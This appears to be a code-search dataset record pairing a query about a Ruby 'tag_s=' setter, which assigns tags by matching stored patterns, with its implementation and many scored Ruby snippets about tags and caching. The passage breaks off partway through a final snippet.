"def tag_s=(text)\n text ||= \"\" # coerce nil values to empty strings\n # standardize white-space and strip out the octothorpe\n text = text.strip.gsub(/#/, '') # dont use strip! will return nil if not modified\n new_tags = []\n Tag.find(:all).each do |t|\n if text[/#{t.pattern}/i]\n new_tags << t\n end\n end\n self.tags = new_tags.uniq.compact # exclude any duplicate and nil values \n self.score = self.tags.inject(0) { |sum, t| sum+t.score }\n self.cache_tags # cache tags string\n end",
"def tag_s=(text)\n text ||= \"\" # coerce nil values to empty strings\n # standardize white-space and strip out the octothorpe\n text = text.strip.gsub(/#/, '') # dont use strip! will return nil if not modified\n new_tags = []\n Tag.find(:all).each do |t|\n if text[/#{t.pattern}/i]\n new_tags << t\n end\n end\n self.tags = new_tags.uniq.compact # exclude any duplicate and nil values \n self.score = self.tags.inject(0) { |sum, t| sum+t.score }\n self.cache_tags # cache tags string\n end",
"def after_save(tag_mapping)\n invalidate_cache\n end",
"def invalidate_tag_cache!\n @tags_for_node_cache = nil\n @tags_cache = nil\n @tags_type_cache = nil\n end",
"def update_cache\n return '' if disabled?\n\n key = \"#{identity_cache_key}:#{short_sha1}:#{Time.now.to_f}\"\n ArCache.write(identity_cache_key, key, raw: true, expires_in: 20.years)\n key\n end",
"def update_tags\n return unless tag_string\n new_tag_names = tag_string.split(\",\").map { |t| t.strip.downcase }\n current_tag_names = tags.collect(&:name)\n new_tag_names.each do |tag_name| \n unless current_tag_names.include? tag_name\n tag = Tag.where(name: tag_name)[0]\n tag = Tag.create! name: tag_name unless tag\n self.tags << tag \n end\n end\n tags.each { |t| (tags.remove t) unless (new_tag_names.include? t.name) }\n end",
"def update(cache)\n cache.set('emoticons', new_query)\n end",
"def tag= tag\n @tag = tag\n update!\n end",
"def cache_tag(tag)\n # We are down in the cached model so the \"auto-fetch magic\" does\n # not work. We have to check for nil in all the various fields\n t = Time.now\n t = last_fetched unless last_fetched.nil?\n t = pmr.last_fetched unless pmr.nil? || pmr.last_fetched.nil? || pmr.last_fetched < t\n q = queue\n c = queue.center\n \"#{q.queue_name},#{q.h_or_s},#{c.center},#{ppg}-#{t.tv_sec}.#{t.usec}-#{tag}\"\n end",
"def encode_by(tag, string)\n Tags[tag][0][1] = string\n end",
"def update_cache\n # Does nothing...up to subclasses to implement.\n end",
"def set_tag(key, value)\n tags[key] = value.to_s\n self\n end",
"def set_tag(key, value)\n tags[key] = value.to_s\n self\n end",
"def set_slug_cache\n if new_cache_needed?\n self.attribute_set(friendly_id_config.cache_column, slug.to_friendly_id)\n self.save_self(false) # save!\n end\n end",
"def set_cache(value); end",
"def set_cache(value); end",
"def apply_updates_tags_string(tag)\n if tag.value.empty?\n @control_string.sub!(\n /tag\\s+['\"]?#{tag.key}['\"]?:\\s+(((\").*?(?<!\\\\)\")|((').*?(?<!\\\\)')|((%q{).*?(?<!\\\\)[}])|(nil))\\n/m,\n \"tag '#{tag.key}': nil\\n\"\n )\n else\n wrap_length = MAX_LINE_LENGTH - WORD_WRAP_INDENT\n\n @control_string.sub!(\n /tag\\s+['\"]?#{tag.key}['\"]?:\\s+(((\").*?(?<!\\\\)\")|((').*?(?<!\\\\)')|((%q{).*?(?<!\\\\)[}])|(nil))\\n/m,\n \"tag '#{tag.key}': %q{#{tag.value}}\".word_wrap(wrap_length).indent(WORD_WRAP_INDENT)\n )\n end\n end",
"def set_tag(key, value)\n sanitized_value = valid_tag_value?(value) ? value : value.to_s\n @tags = @tags.merge(key.to_s => sanitized_value)\n end",
"def build_reverse_tag_lookup_cache\n @tags_for_node_cache = ArrayHash.new\n tags.inject(@tags_for_node_cache) do |hash, (tag, tag_node)|\n hash[tag_node] << tag\n hash\n end\n end",
"def tag(string); end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def caching\n @caching = \"data_update[#{data_path}]\"\n end",
"def initialize(tag_name)\n @tag_name = tag_name\n @key = MyGists::Cache::Tags.key(tag_name)\n end",
"def []=(string, value)\n return value unless cache_on?\n\n @mutex.synchronize { @cache[string] = value }\n end",
"def update_tag_attr(name)\n %i[aria data root].each do |el|\n @tag_attrs.send(el)[name] = get_instance_variable(name) if @tag_attrs.send(el).key?(name)\n end\n end",
"def update_tags(tag_list, reload_tags = true)\n new_tags = Tag.parse_to_tags(tag_list)\n return tag_with(new_tags | self.tags, reload_tags)\n end",
"def tag_text=(value)\n self.tag=(value)\n end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache; end",
"def cache(data); end",
"def update_tag_keyword(keyword,tags_set=[],args={})\n @tag_keyword[keyword] += tags_set\n @tag_blck[:keyword][keyword] += new_tags_set if args[:mode] && args[:mode] == :blck\n end",
"def modify_tag tag\n data = {\n \"tag\" => params\n }\n temp = data[\"servers\"]\n data[\"servers\"] = { \"server\" => temp }\n\n json = JSON.generate data\n\n response = put \"tag/#{tag}\", json\n return response unless response.code == 200\n\n body = JSON.parse response.body\n body[\"tag\"]\n end",
"def load_tags\n return if request.fullpath.match(/^\\/(\\S+)preview/)\n \n load = Rails.cache.read('tags')\n if load.nil?\n load = blog_models.map { |resource|\n resource.tag_counts_on(:tags).all\n }.flatten.uniq.sort { |a,b| \n a.name.upcase <=> b.name.upcase\n }\n Rails.cache.write('tags', load)\n end\n @tags = load\n end",
"def update_meta_tag(key, value)\n set_meta_tags({key => value})\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\nend",
"def set_slug_cache\n if new_cache_needed?\n begin\n send \"#{friendly_id_config.cache_column}=\", slug.to_friendly_id\n update_without_callbacks\n rescue ActiveRecord::StaleObjectError\n reload\n retry\n end\n end\n end",
"def update(string)\n #This is a stub, used for indexing\n end",
"def update(string)\n #This is a stub, used for indexing\n end",
"def []= string, value\n return value unless @cache_on\n @mutex.synchronize { @cache[string] = value }\n end",
"def memoize_slugs_for_tags(project_name)\n @slugs_for_tag[project_name] ||= {}\n tag_map = Parallel.map(tags(project_name)) do |tag|\n next if @slugs_for_tag[project_name][tag]\n file = nil\n begin\n file = bucket.files.get(tag_file_name(project_name, tag))\n rescue Excon::Errors::Forbidden\n # ignore 403's\n end\n slugs = file.nil? ? [] : file.body.split(\"\\n\")\n [tag, slugs]\n end\n tag_map.each do |tag, slugs|\n @slugs_for_tag[project_name][tag] = slugs\n end\n end",
"def after_update(word)\n expire_cache_for(word)\n end",
"def tagpane=(str)\n ou = Nokogiri::HTML str\n newtags = []\n oldtags = self.tag_ids\n ou.css(\".name\").each { |child|\n str = child.content.to_s\n # Look up the tag and/or create it\n tag = Tag.strmatch(str, self.current_user || User.guest_id, :Food, true)\n newtags << tag.id unless oldtags.include? tag.id\n x=2\n }\n if newtags.length\n self.tag_ids= oldtags + newtags\n self.save\n end\n super\n end",
"def set_slug_cache\n if new_cache_needed?\n send \"#{friendly_id_config.cache_column}=\", slug.to_friendly_id\n send :update_without_callbacks\n end\n end",
"def update(new_tag)\n # Copy the last timestamp and increment the counts\n @last = new_tag.last\n @count += new_tag.count.to_i\n #TODO: Think about updating RSSI here w/an averaging function rather than a replacment\n @rssi = new_tag.rssi\n @frequency = new_tag.freq \n @last_last = @last \n end",
"def tag(new_tag); end",
"def update!(**args)\n @tagged_entry = args[:tagged_entry] if args.key?(:tagged_entry)\n end",
"def []=(key, value)\n @tags[key.to_s] = value\n end",
"def update_cache(type, id, data)\n end",
"def update_cache(type, id, data)\n end",
"def update_cache(type, id, data)\n end",
"def set_tag(key, value)\n [key, value]\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def update_cache\r\n Rails.cache.delete(\"All#{self.class.name.to_s}\")\r\n end",
"def tag_list=(tags_string)\n self.taggings.destroy_all\n\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n\n tag_names.each do |tag_name|\n tag = Tag.find_or_create_by_name(tag_name)\n tagging = self.taggings.new\n tagging.tag_id = tag.id\n end # end of do iteration\n end",
"def tags=(tag_string)\n # tag_array = tag_string.split(/,\\s*/)\n # story.add_tags(tag_array)\n story.set_tag_string(tag_string)\n end",
"def []=(sha, attrs)\n cache[sha] = attrs\n end",
"def update_observation_cache\n Observation.update_cache(\"name\", \"lifeform\", id, lifeform) \\\n if lifeform_changed?\n Observation.update_cache(\"name\", \"text_name\", id, text_name) \\\n if text_name_changed?\n Observation.update_cache(\"name\", \"classification\", id, classification) \\\n if classification_changed?\n end",
"def reload(*args)\n _refresh_tagging\n super\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def update_cache(ticket, cache)\n cache[ticket[:spacekey]] = ticket[:id] if seen?(ticket, cache)\n cache\n end",
"def tags_string=(commastring)\n self.tags.clear\n \n if (commastring.length > 0)\n tagsArr = commastring.split(',');\n tagsArr.each do |tagname|\n # remove white space\n tagname = tagname.strip\n \n if (Tag.find_by_name(tagname))\n aTag = Tag.find_by_name(tagname)\n else\n aTag = Tag.new(:name => tagname)\n aTag.save\n end\n \n self.tags << aTag\n end\n end\n \n Tag.clear_unused\n end",
"def refresh_tags\n taggings.delete_all\n metadata['tags'].each do |tag|\n new_tag = Tag.find_or_create_by(name: tag.parameterize)\n tags << new_tag\n validation = new_tag.find_similar\n spin_log(validation) unless validation.nil?\n end\n end",
"def store_cached_name\n self.cached_name = \"\"\n self.cached_name << \"#{reference} - \" if reference.present?\n self.cached_name << \"#{resource.title} - \"\n self.cached_name << \"#{criterion.name}\"\n end",
"def sentence_cache\n @sentence_cache ||= Gemmy::Components::Cache.new \"sentence_pos\"\n end",
"def tag_name=(tag_name)\n self.tag = Tag.find_by_name!(tag_name)\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def update_cache(obj)\n save_cache(obj)\n end",
"def tag_set(p_tag_sym, p_val) tag.send(\"#{p_tag_sym.to_s}=\", p_val) end",
"def update!(**args)\n @tags = args[:tags] if args.key?(:tags)\n end",
"def update!(**args)\n @tags = args[:tags] if args.key?(:tags)\n end",
"def update_cache_chain\n logger.debug \"DB ********** Touching BlogElem #{id} ********** \"\n self.touch\n self.element.try(:update_cache_chain)\n end",
"def update_cache_chain\n logger.debug \"DB ********** Touching BlogElem #{id} ********** \"\n self.touch\n self.element.try(:update_cache_chain)\n end",
"def []=(key, value)\n add_tags if @tags.nil?\n @tags[key] = value\n end",
"def cache_changes_before_update\n changes.each do | attr_name, values |\n message = case attr_name\n when 'name' then \"Configuration name changed\"\n when 'comments' then \"Comment updated\"\n when 'jshub_version' then \"jsHub tag version updated\"\n end\n if message\n revision_cache << \"#{message} to '#{values[1]}' (was '#{values[0]}')\"\n end\n end\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(/[\\s,\",\"]/).map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def update_tags!\n return unless @params.key?(:tags)\n\n tags_to_remove.each do |tag_title|\n TaskTag.where(task: task).joins(:tag).merge(Tag.where(title: tag_title)).destroy_all\n end\n\n tags_to_add.each do |tag_title|\n TaskTag.where(task: task, tag: tag_from_title(tag_title)).first_or_create!\n end\n end",
"def tag_list=(tags_string)\r\n \tself.blog_post_taggings.destroy_all\r\n \t\r\n \ttag_names = tags_string.split(\",\").collect{ |s| s.strip }.uniq\r\n \t\r\n \ttag_names.each do |tag_name|\r\n \t blog_post_tag = BlogPostTag.find_or_create_by_name(tag_name)\r\n \t blog_post_tagging = self.blog_post_taggings.new\r\n \t blog_post_tagging.blog_post_tag_id = blog_post_tag.id\r\n \tend\r\n end",
"def update_cache\n self.update_attribute :resources_cache, self.resources\n end",
"def update_tag_value(tag_name, new_value)\n adjustment_value = new_value - @tags[tag_name]['total']\n send_adjustment_to_karma_server(tag_name, adjustment_value)\n @tags[tag_name]['total'] = new_value\n end",
"def update (url, response, timestamp)\n \n @semaphor.synchronize(){||\n if @cache.has_key?(url)\n # then this url is already in the cache and we simply update the timestamp\n new_entry = CacheEntry.new(url, response, timestamp)\n @cache[url] = new_entry\n else\n new_entry = CacheEntry.new(url, response, timestamp)\n # ensure that this object is not too large\n return if new_entry.response.bytesize() > max_object_size \n # remove items from the cache until this new entry fits.\n while @current_load + new_entry.response.bytesize() > max_load do\n evict()\n end\n @current_load = @current_load + new_entry.response.bytesize()\n @cache[url] = new_entry\n end\n }\n end",
"def tag=(value)\n @tag = value\n self.status = TAG_STATUS.fetch(value)\n @tag\n end",
"def flush_cache; end",
"def do_update_tag\n @repository = @repository.clone\n log = run_svn(\"log\", \"-r\", 'HEAD')\n log.split(/\\n/).each do |line|\n if line =~ /^r(\\d+)/\n @repository.tag = $1\n break\n end\n end\n end",
"def update_tags\n @updated = Tag.refresh_counts\n @deleted = []\n Tag.unused.order(:title).all.each do |tag|\n @deleted << tag.destroy\n end\n end",
"def update_tag_name\n t = self.tag\n new_tag = Tag.find_by_name(self.name)\n if t != new_tag\n if new_tag.nil?\n t.update_attribute(:name, self.name)\n else\n new_tag.update_attribute(:tag_type, self.class.name)\n self.bypass_save_callbacks = true\n self.update_attribute(:tag_id, new_tag.id)\n # Downgrade 't' to a regular tag if no topic/subject points to it\n t.update_attribute(:tag_type, nil) if !Topic.exists?(:tag_id => t.id)\n end\n end\n end",
"def add_to_cache\n redis.hset 'identifiers', self.typed_id, item.typed_id\n redis.sadd 'identifier:' + item.typed_id, self.typed_id\n end"
] |
[
"0.716618",
"0.6731208",
"0.6596318",
"0.6567877",
"0.65493464",
"0.6498991",
"0.62206054",
"0.62206054",
"0.6215541",
"0.6185727",
"0.6176137",
"0.61690265",
"0.61624104",
"0.6145499",
"0.6136719",
"0.6076733",
"0.60397196",
"0.58448696",
"0.58448696",
"0.582949",
"0.5765647",
"0.5765647",
"0.5739944",
"0.569732",
"0.56574374",
"0.56503415",
"0.56398326",
"0.56398326",
"0.56398326",
"0.56398326",
"0.56314564",
"0.56032383",
"0.56003183",
"0.55764675",
"0.5534793",
"0.55319035",
"0.55319035",
"0.55319035",
"0.55319035",
"0.55319035",
"0.55319035",
"0.55319035",
"0.5529962",
"0.55276656",
"0.5521109",
"0.55172116",
"0.55165726",
"0.5506577",
"0.5495482",
"0.54821503",
"0.54821503",
"0.5478721",
"0.5473812",
"0.547358",
"0.5458709",
"0.5455978",
"0.5394784",
"0.53858554",
"0.536055",
"0.5355123",
"0.5347455",
"0.5347455",
"0.53323954",
"0.5331676",
"0.5327814",
"0.5321485",
"0.5303799",
"0.53029644",
"0.5298991",
"0.5295079",
"0.52931094",
"0.5291865",
"0.52851945",
"0.5284151",
"0.5281348",
"0.52802914",
"0.52801466",
"0.52541816",
"0.5244313",
"0.52328503",
"0.5221769",
"0.52210706",
"0.52210706",
"0.5218099",
"0.5218099",
"0.5214662",
"0.5211124",
"0.52056086",
"0.51990384",
"0.5193687",
"0.51900023",
"0.5181399",
"0.51806116",
"0.5175975",
"0.5169609",
"0.5167578",
"0.51650965",
"0.5164131",
"0.51605433"
] |
0.6689888
|
3
|
override tag_s accessor to set self.tags from given string where input is just tags, a la "machine challenges good bad"
|
def tag_s=(text)
text ||= "" # coerce nil values to empty strings
# standardize white-space and strip out the octothorpe
text = text.strip.gsub(/#/, '') # dont use strip! will return nil if not modified
new_tags = []
Tag.find(:all).each do |t|
if text[/#{t.pattern}/i]
new_tags << t
end
end
self.tags = new_tags.uniq.compact # exclude any duplicate and nil values
self.score = self.tags.inject(0) { |sum, t| sum+t.score }
self.cache_tags # cache tags string
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def tags=(tag_string)\n # tag_array = tag_string.split(/,\\s*/)\n # story.add_tags(tag_array)\n story.set_tag_string(tag_string)\n end",
"def tags!(str)\n str.strip!\n tags = str.split(\",\").map { |tag|\n self.tags.find_or_create_by_value(tag.strip.downcase)\n }\n self.tags << tags\n end",
"def tag(string); end",
"def tag_list=(tags_string)\n\t\t# splits array, strips non-meaningful whitespace, case insensitive, no duplicates\n\t\ttag_names = tags_string.split(\",\").collect{ |s| s.strip.downcase }.uniq\n\t\t\n\t\t# find or create tag with cleaned up names from array string\n\t\tnew_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n\t\t\n\t\t# assign tags to article instance\n\t\tself.tags = new_or_found_tags \t\n\tend",
"def tag_list=(tags_string)\n tag_names = tags_string.split(/[\\s,\",\"]/).map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def tags=(string_or_array)\n if string_or_array.kind_of?(Array)\n @tags = string_or_array\n else\n @tags = string_or_array.split(' ').map { |t| t.gsub('_', ' ') }\n end\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").map{ |s| s.strip.downcase }.uniq\n new_or_found_tags = tag_names.map { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def sanitized_allowed_tags=(tags); end",
"def sanitized_allowed_tags=(tags); end",
"def tag_list=(tags_string)\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\nend",
"def tags=(value)\n\t\t#Rails.logger.info(\">>>TAGS===: #{value}\")\n\t\twrite_attribute(:tags, value.split(/\\W+/))\n\tend",
"def encode_by(tag, string)\n Tags[tag][0][1] = string\n end",
"def tag_list=(tags_string)\n self.taggings.destroy_all\n\n tag_names = tags_string.split(\",\").collect{|s| s.strip.downcase}.uniq\n\n tag_names.each do |tag_name|\n tag = Tag.find_or_create_by_name(tag_name)\n tagging = self.taggings.new\n tagging.tag_id = tag.id\n end # end of do iteration\n end",
"def tags=(tags)\n @tags = \n case tags\n when String\n tags\n when Array\n tags.map(&:to_s).join(',')\n end\n @tags\n end",
"def tag(tags)\n tags.each do |key, value|\n @tags[key.to_s] = value\n end\n end",
"def parse_tags!(tags_str)\n self.tags.clear\n tags_str.split(',').map(&:strip).uniq.each do |tag_str|\n tag = Tag.where(name: tag_str).first_or_create\n self.tags << tag\n end\n end",
"def split_tag_list(tags_string)\n tag_names = tags_string.collect{|s| s.strip.downcase}.uniq\n new_or_found_tags = tag_names.collect { |name| Tag.find_or_create_by(name: name) }\n self.tags = new_or_found_tags\n end",
"def tag_text=(value)\n self.tag=(value)\n end",
"def replace_using(tag, string)\n Tags[tag][1] = string\n end",
"def set_tags(tags = Array.new)\n\n if tags.is_a?(String) and tags.downcase == 'all'\n @@default_tags.each do |value|\n @@edit_tags[value] = ''\n end\n elsif tags.is_a?(Array)\n tags.each do |value|\n @@edit_tags[value] = ''\n end\n elsif tags.is_a?(Hash)\n # NOTE: might need some adjustment here\n # Not sure this is used at all\n @@edit_tags = tags\n else\n\n\n # Try to match tags\n if tags.is_a?(String)\n\n @@edit_tags = {}\n tagsForEditing = tags.split(',')\n tagsForEditing.each do |value|\n\n # Matchin for seperator\n separator = @@edit_separator\n if value.match(/#{separator}/)\n\n self.log('debug', 'Found tag value assignment.')\n tagmatching = value.split(separator)\n\n # Check date for validity\n if tagmatching[0] == 'createdate'\n validatedDate = validateDate(tagmatching[1])\n if !validatedDate\n self.log('error',\"Date not recognized: '#{tagmatching[1]}'.\")\n abort 'Date format not recognized. Abort.'\n else\n self.log('debug',\"Identified date: #{validatedDate} \")\n @@edit_tags[tagmatching[0]] = validatedDate\n end\n else\n self.log('debug', \"Identified key #{tagmatching[0]} with value '#{tagmatching[1]}'.\")\n @@edit_tags[tagmatching[0]] = tagmatching[1]\n end\n else\n @@edit_tags[value] = ''\n end\n\n end\n\n end\n\n end\n\n\n end",
"def tags=(tags)\n if tags.first.is_a? Hash\n tags = tags.collect { |tag| Tag.new(tag) }\n end\n\n tags.each { |tag|\n if not tag.is_a? Tag\n raise \"Wrong class for attempted tag #{tag.inspect}\"\n end\n }\n\n @tags = tags\n end",
"def tags=(tags)\n assert_unloaded\n @tags = names_to_tags(tags)\n end",
"def spaced_tags=(value)\n self.tag_list = value.to_s.split(' ')\n end",
"def update_tags\n return unless tag_string\n new_tag_names = tag_string.split(\",\").map { |t| t.strip.downcase }\n current_tag_names = tags.collect(&:name)\n new_tag_names.each do |tag_name| \n unless current_tag_names.include? tag_name\n tag = Tag.where(name: tag_name)[0]\n tag = Tag.create! name: tag_name unless tag\n self.tags << tag \n end\n end\n tags.each { |t| (tags.remove t) unless (new_tag_names.include? t.name) }\n end",
"def tags=(value)\n @tags = value.is_a?(String) ? value.gsub(', ', ',').split(',') : value\n end",
"def set_tag(key, value)\n sanitized_value = valid_tag_value?(value) ? value : value.to_s\n @tags = @tags.merge(key.to_s => sanitized_value)\n end",
"def tokenize\n super.merge(:tags => tags.taggify(\" \", \" \"))\n end",
"def tag_list=(tags_string)\r\n \tself.blog_post_taggings.destroy_all\r\n \t\r\n \ttag_names = tags_string.split(\",\").collect{ |s| s.strip }.uniq\r\n \t\r\n \ttag_names.each do |tag_name|\r\n \t blog_post_tag = BlogPostTag.find_or_create_by_name(tag_name)\r\n \t blog_post_tagging = self.blog_post_taggings.new\r\n \t blog_post_tagging.blog_post_tag_id = blog_post_tag.id\r\n \tend\r\n end",
"def all_tags=(string)\n array = string.split(\"-------314159265358979323846\")\n puts \"array #{array}\"\n id = array[0].to_i\n puts \"id: #{id}\"\n names = array[1..-1]\n puts \"names: #{names}\"\n self.tags = names.map do |name|\n Tag.where(\"name = ? AND user_id = ?\", name, id).first_or_create!(name: name, user_id: id)\n end\n end",
"def tags=(value)\n @tags = value\n end",
"def tags=(value)\n @tags = value\n end",
"def tags=(value)\n @tags = value\n end",
"def selected_tags=(data)\n self.tags.clear\n data.split('tag').each { |id| self.tags << Tag.find(id) if id.length > 0 }\n end",
"def tag_list= value\n self.tags = value.split(',').map(&:strip)\n end",
"def tag_list= value\n self.tags = value.split(',').map(&:strip)\n end",
"def tags_raw=(values)\n self.tags = []\n self.tags = values.split(\"\\n\").map(&:strip)\n end",
"def tag_names=(rhs)\n self.tags = rhs.strip.split(/\\s*,\\s*/).map do |tag_name|\n Tag.find_or_initialize_by(name: tag_name)\n end\n end",
"def skill_tags=(value)\n @skill_tags = value\n end",
"def tag(tag); end",
"def tag(tag); end",
"def tags=(ts)\n keywords = ts && ts.split(/\\,/).map(&:strip)\n self.keywords = keywords.blank? ? nil : keywords\n end",
"def tag(*tags)\n attribute 'tags' do |existing_tags|\n existing_tags ||= []\n tags.each do |tag|\n if !existing_tags.include?(tag.to_s)\n existing_tags << tag.to_s\n end\n end\n existing_tags\n end\n end",
"def tags_string=(titles)\n self.tags = titles.split(',').map do |title|\n Tag.find_or_create_by(title: title, user: user)\n end\n end",
"def tag=(value)\n # Normalize\n super(Tag.normalize(value))\n end",
"def tag_names=(rhs)\n self.tags = rhs.strip.split(/\\s*,\\s*/).map do |tag_name| \n # Finds the first record with the given attributes, or\n # initializes a record (Tag.new) with the attributes\n # if one is not found \n Tag.find_or_initialize_by(name: tag_name)\n # If a tag with name tag_name is not found,\n # it will call Tag.new(name: tag_name)\n end\n end",
"def tags=(value)\n if value == @defaults['tags']\n @values.delete 'tags' if @values.key? 'tags'\n else\n @values['tags'] = value\n end\n end",
"def tag_names=(rhs)\n self.tags = rhs.strip.split(/\\s*,\\s*/).map do |tag_name|\n # Finds the first record with the given attributes, or\n # initializes a record (Tag.new) with the attributes\n # if one is not found.\n Tag.find_or_initialize_by(name: tag_name)\n # If a tag with name tag_name is not found,\n # it will call Tag.new(name: tag_name)\n end\n end",
"def tags(*tags)\n @_tags = tags unless tags.empty?\n @_tags\n end",
"def tags=(tags)\n @tags = tags.map { |name| Tag.new(:name => name) }\n end",
"def tags=(tags)\n @tags = tags.map { |name| Tag.new(:name => name) }\n end",
"def tag *tags\n @tags += tags\n self\n end",
"def tags=(_arg0); end",
"def set_tags(tags)\n self.tags = tags.map.each do |tag|\n Tag.find_or_create_by_name tag\n end\n end",
"def initialize(*tags)\n @tags = tags.map{|tag| \"/tag/#{tag}\" }\n @wrap_tag = \"html\"\n end",
"def tags_string=(commastring)\n self.tags.clear\n \n if (commastring.length > 0)\n tagsArr = commastring.split(',');\n tagsArr.each do |tagname|\n # remove white space\n tagname = tagname.strip\n \n if (Tag.find_by_name(tagname))\n aTag = Tag.find_by_name(tagname)\n else\n aTag = Tag.new(:name => tagname)\n aTag.save\n end\n \n self.tags << aTag\n end\n end\n \n Tag.clear_unused\n end",
"def tag_names=(tag_names)\n tag_list = tag_names.split(',')\n cleaned_tag_list = clean(tag_list)\n self.tags = find_or_create_tags(cleaned_tag_list)\n end",
"def tags_raw=(values)\n self.tags = []\n self.tags = values.split(\"\\n\").map { |w| w.strip }\n end",
"def tag_names=(rhs)\n self.tags = rhs.strip.split(/\\s*,\\s*/).map do |tag_name|\n Tag.find_or_initialize_by(name: tag_name)\n end\n end",
"def tag\n if @tag.is_a? String\n @tag\n end\n end",
"def set_tags(tags)\n @tags.update(tags)\n end",
"def tag_names=(rhs)\n self.tags = rhs.strip.split(/\\s*,\\s*/).map do |tag_name|\n # Finds the first record with given\n # attributes, or initializes a record\n # (Tag.new) with attributes if one is\n # not found.\n Tag.find_or_initialize_by(name: tag_name)\n end\n end",
"def set_tags(given_tags = {})\n @tags.merge!(given_tags)\n end",
"def tag(*tags)\n p tags\n tags.each do |tag|\n tag << self\n @tags << tag\n end\n end",
"def tag(*tags)\n p tags\n tags.each do |tag|\n tag << self\n @tags << tag\n end\n end",
"def set_Tags(value)\n set_input(\"Tags\", value)\n end",
"def set_Tags(value)\n set_input(\"Tags\", value)\n end",
"def set_Tags(value)\n set_input(\"Tags\", value)\n end",
"def set_Tags(value)\n set_input(\"Tags\", value)\n end",
"def set_Tags(value)\n set_input(\"Tags\", value)\n end",
"def set_Tags(value)\n set_input(\"Tags\", value)\n end",
"def rating_string=(tag_string)\n parse_tags(Rating, tag_string)\n end",
"def setTags(tags)\r\n\t\t\t\t\t@tags = tags\r\n\t\t\t\tend",
"def set_tag(key, value)\n tags[key] = value.to_s\n self\n end",
"def set_tag(key, value)\n tags[key] = value.to_s\n self\n end",
"def tags=(value)\n if value.kind_of?(String)\n @tags = value.split(\",\").uniq.map(&:strip)\n elsif value.kind_of?(Array)\n @tags = value.uniq.map(&:strip)\n end\n end",
"def tagpane=(str)\n ou = Nokogiri::HTML str\n newtags = []\n oldtags = self.tag_ids\n ou.css(\".name\").each { |child|\n str = child.content.to_s\n # Look up the tag and/or create it\n tag = Tag.strmatch(str, self.current_user || User.guest_id, :Food, true)\n newtags << tag.id unless oldtags.include? tag.id\n x=2\n }\n if newtags.length\n self.tag_ids= oldtags + newtags\n self.save\n end\n super\n end",
"def split_tags\n set_tagged_bool\n self.tagged ? self.tag.split(\" \") : []\n end",
"def allowed_tags=(_arg0); end",
"def allowed_tags=(_arg0); end",
"def autotag(string)\n return unless string\n return string unless Doing.auto_tag\n\n original = string.dup\n text = string.dup\n\n current_tags = text.scan(/@\\w+/).map { |t| t.sub(/^@/, '') }\n tagged = {\n whitelisted: [],\n synonyms: [],\n transformed: [],\n replaced: []\n }\n\n Doing.setting('autotag.whitelist').each do |tag|\n next if text =~ /@#{tag}\\b/i\n\n text.sub!(/(?<= |\\A)(#{tag.strip})(?= |\\Z)/i) do |m|\n m.downcase! unless tag =~ /[A-Z]/\n tagged[:whitelisted].push(m)\n \"@#{m}\"\n end\n end\n\n Doing.setting('autotag.synonyms').each do |tag, v|\n v.each do |word|\n word = word.wildcard_to_rx\n next unless text =~ /\\b#{word}\\b/i\n\n unless current_tags.include?(tag) || tagged[:whitelisted].include?(tag)\n tagged[:synonyms].push(tag)\n tagged[:synonyms] = tagged[:synonyms].uniq\n end\n end\n end\n\n if Doing.setting('autotag.transform')\n Doing.setting('autotag.transform').each do |tag|\n next unless tag =~ /\\S+:\\S+/\n\n if tag =~ /::/\n rx, r = tag.split(/::/)\n else\n rx, r = tag.split(/:/)\n end\n\n flag_rx = %r{/([r]+)$}\n if r =~ flag_rx\n flags = r.match(flag_rx)[1].split(//)\n r.sub!(flag_rx, '')\n end\n r.gsub!(/\\$/, '\\\\')\n rx.sub!(/^@?/, '@')\n regex = Regexp.new(\"(?<= |\\\\A)#{rx}(?= |\\\\Z)\")\n\n text.sub!(regex) do\n m = Regexp.last_match\n new_tag = r\n\n m.to_a.slice(1, m.length - 1).each_with_index do |v, idx|\n next if v.nil?\n\n new_tag.gsub!(\"\\\\#{idx + 1}\", v)\n end\n # Replace original tag if /r\n if flags&.include?('r')\n tagged[:replaced].concat(new_tag.split(/ /).map { |t| t.sub(/^@/, '') })\n 